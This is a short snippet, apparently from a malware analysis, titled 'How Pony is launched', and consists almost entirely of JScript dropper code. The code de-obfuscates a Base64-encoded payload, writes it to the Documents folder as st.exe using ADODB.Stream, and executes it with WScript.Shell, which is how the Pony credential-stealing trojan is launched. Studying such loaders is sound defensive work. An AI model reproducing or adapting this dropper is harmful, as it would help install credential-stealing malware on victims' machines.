How Pony is launched

var flo = new ActiveXObject ("ADODB.Stream");
var runer = WScript.CreateObject("WScript.Shell");
var wher = runer.SpecialFolders("MyDocuments");
wher = wher + "\\" + "st.exe";
flo.CharSet = "437";
flo.Open();
var pny = data_pn.replace(/NMSIOP/g, "A");
var pny_ar = CryptoJS.enc.Base64.parse(pny);
var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8);
flo.Position = 0;
flo.SetEOS;
flo.WriteText(pny_dec);
flo.SaveToFile(wher, 2);
flo.Close;
wher = "\"" + wher + "\"";
runer.Run(wher);